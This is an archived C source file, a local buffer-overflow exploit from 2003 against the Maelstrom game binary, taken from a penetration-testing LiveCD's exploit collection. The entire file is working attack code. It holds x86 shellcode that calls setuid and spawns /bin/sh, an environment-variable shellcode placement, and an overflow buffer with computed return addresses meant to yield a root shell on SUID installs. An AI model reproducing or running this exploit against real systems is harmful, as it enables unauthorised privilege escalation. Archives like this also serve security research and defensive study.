home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / maelstrom / maelexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  91 lines

  1. /*  /usr/bin/Maelstrom local exploit
  2. *** Sorry for my poor english.
  3. *** Others exploit can't exploit my Maelstrom,So I
  4. wrote this exploit just for fun.
  5. *** I can't get a rootshell on my linux ,because it's
  6. not SUID.
  7. *** If it SUID ,this exploit can make you get a rootshell.
  8. *** Tested on redhat9.0 ,other linux maybe OK,too.
  9. ***
  10. *** Thanks netric's good paper.
  11. *** You can downlocd it here
  12. http://www.netric.org/papers/envpaper.pdf
  13. *** This paper make me write this exploit don't need to
  14. guess ret.
  15. *** Thanks jsk and axis for their help.
  16. ***
  17. *** CONTACT:OYXin@ph4nt0m.net
  18. *** COPYRIGHT (c) 2003 PH4NT0M SECURITY
  19. *** http://www.ph4nt0m.net
  20. *** 2003.5.23
  21.  
  22. Coded by OYXin(ph4nt0m)
  23. Welcome to http://www.ph4nt0m.net
  24.  
  25. */
  26. #include<stdio.h>
  27. #include<stdlib.h>
  28. #include<unistd.h>
  29.  
  30. #define  bufsize 8179
  31.  
  32. /*  linux x86 shellcode by bob from dtors.net,23
  33. bytes,thx them.  */
  34. static char shellcode[] =
  35.  
  36.  
  37.  
  38.    "\x31\xdb"
  39.     "\x89\xd8"
  40.     "\xb0\x17"
  41.     "\xcd\x80"
  42.     "\x31\xdb"
  43.     "\x89\xd8"
  44.     "\xb0\x17"
  45.     "\xcd\x80"
  46.     "\x31\xdb"
  47.     "\x89\xd8"
  48.     "\xb0\x2e"
  49.     "\xcd\x80"
  50.     "\x31\xc0"
  51.     "\x50"
  52.     "\x68\x2f\x2f\x73\x68"
  53.     "\x68\x2f\x62\x69\x6e"
  54.     "\x89\xe3"
  55.     "\x50"
  56.     "\x53"
  57.     "\x89\xe1"
  58.     "\x31\xd2"
  59.     "\xb0\x0b"
  60.     "\xcd\x80"
  61.      "\x31\xdb"
  62.     "\x89\xd8"
  63.     "\xb0\x01"
  64.     "\xcd\x80";
  65.  
  66. int main(int argc,char *argv[]){
  67.     char buf[bufsize+1];
  68.     char*prog[]={"/usr/bin/Maelstrom","-server",buf,NULL};
  69.     char  *env[]={"HOME=/root",shellcode,NULL};
  70.     unsigned long ret;
  71.  
  72.  
  73.     ret=0xc0000000-sizeof(void*)-strlen(prog[0])-strlen(shellcode)-0x02;
  74.  
  75.     memset(buf, 0x90, bufsize);
  76.     memset(buf,0x32,sizeof("1"));
  77.     memset(buf+1,0x40,sizeof("1"));
  78.     memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
  79.  
  80.     memcpy(&buf[bufsize-(2*sizeof(ret))], &ret,sizeof(ret));
  81.  
  82.     memcpy(&buf[bufsize-(3*sizeof(ret))], &ret,sizeof(ret));
  83.  
  84.     memcpy(&buf[bufsize-(4*sizeof(ret))], &ret,sizeof(ret));
  85.     buf[bufsize] = '\0';
  86.  
  87.     execve(prog[0],prog,env);
  88.  
  89.     return  0;
  90. }
  91.